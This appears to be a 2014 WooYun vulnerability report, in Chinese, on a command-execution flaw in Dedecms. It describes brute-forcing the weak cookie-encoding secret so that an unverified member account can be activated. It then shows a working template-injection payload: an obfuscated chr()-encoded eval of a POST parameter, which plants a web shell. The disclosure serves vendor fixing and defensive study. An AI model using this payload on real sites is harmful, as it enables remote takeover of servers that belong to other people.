漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-052010
漏洞标题:Dedecms某命令执行漏洞
相关厂商:Dedecms
漏洞作者: kobin97
提交时间:2014-02-25 20:56
修复时间:2014-05-26 20:56
公开时间:2014-05-26 20:56
漏洞类型:命令执行
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-02-25: 细节已通知厂商并且等待厂商处理中
2014-02-28: 厂商已经确认,细节仅向厂商公开
2014-03-03: 细节向第三方安全合作伙伴开放
2014-04-24: 细节向核心白帽子及相关领域专家公开
2014-05-04: 细节向普通白帽子公开
2014-05-14: 细节向实习白帽子公开
2014-05-26: 细节向公众公开
简要描述:
这个命令执行漏洞也存在有一段时间了,需要会员中心,所以有点鸡肋。。
在以前的版本还需要后台一些配置才行。
但发现最新版本,默认安装,开了会员中心就能利用了(不管邮件验证哦!)。
详细说明:
首先,会员中心开放,注册一个号。
默认情况下,注册的号码需要邮件验证,但通常没法收取邮件的,所以没法激活,什么也不能操作。
#先说说这个激活吧:
我们看看激活函数 index_do.php
注意到:md5($cfg_cookie_encode.'--'.$mid.'--'.$row['email']);
mid email 已知。就是差 $cfg_cookie_encode 没法知道。
搜索 $cfg_cookie_encode 的使用
发现:
cookie.helper.php 中
查看 cookie ,不难发现:
即:
substr(md5($cfg_cookie_encode."8"),0,16) == "b07a81b5365b0449"
我们再看看 $cfg_cookie_encode 是怎样生成的
$rnd_cookieEncode = chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).mt_rand(1000,9999).chr(mt_rand(ord('A'),ord('Z')));
即:
A-Z a-z A-Z A-Z a-z 1000-9999 A-Z
就这几位,很有规律。
我简单写一个爆破程序
离线爆破,很快会有结果。不过这里的py效率不高,也可以直接生成字典。方便秒查
A-Z a-z A-Z A-Z a-z 1000-9999 A-Z (1-1000)注册时 id
或者其它md5爆破工具也行
结果出来后:
OeQDg2992Z--8--aaaaaa@21cn.com
943ea8a69319e9dd17bc3b8245631300
http://127.0.0.1/dede/member/index_do.php?fmdo=checkMail&mid=8&userhash=943ea8a69319e9dd17bc3b8245631300
会员激活成功了。。。可以进入下一步操作。
转到内容 -> 上传软件 ,这里可以添加内容(旧版默认是没有隶属栏目的,所以不能利用,最新版带有了。)
#命令执行:
添加上传软件
本地地址 http://www.hao123.com
其它乱填就行,添加成功后,再次进入修改界面
软件地址改为:
http://www.hao123.com}x{/dede:link}{dede:a text'=x']=0;eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(34).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(59).chr(34).chr(41).chr(59));// }xxxx{/dede:a}{dede:link}
其实利用的是对软件地址的解释漏洞
可以打开 data\tplcache 目录,找到相关解释后的文件
可以从上图看到,数组的键被闭合上了。
再次打开修改页面时,即包含了该文件,从而造成命令执行漏洞。
(ps:5.6版,插入的代码可能有所不同,请自行测试)
漏洞证明:
修复方案:
我也不懂了,很久的漏洞。
版权声明:转载请注明来源 kobin97@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:8
确认时间:2014-02-28 14:20
厂商回复:
已经修复,感谢反馈
最新状态:
暂无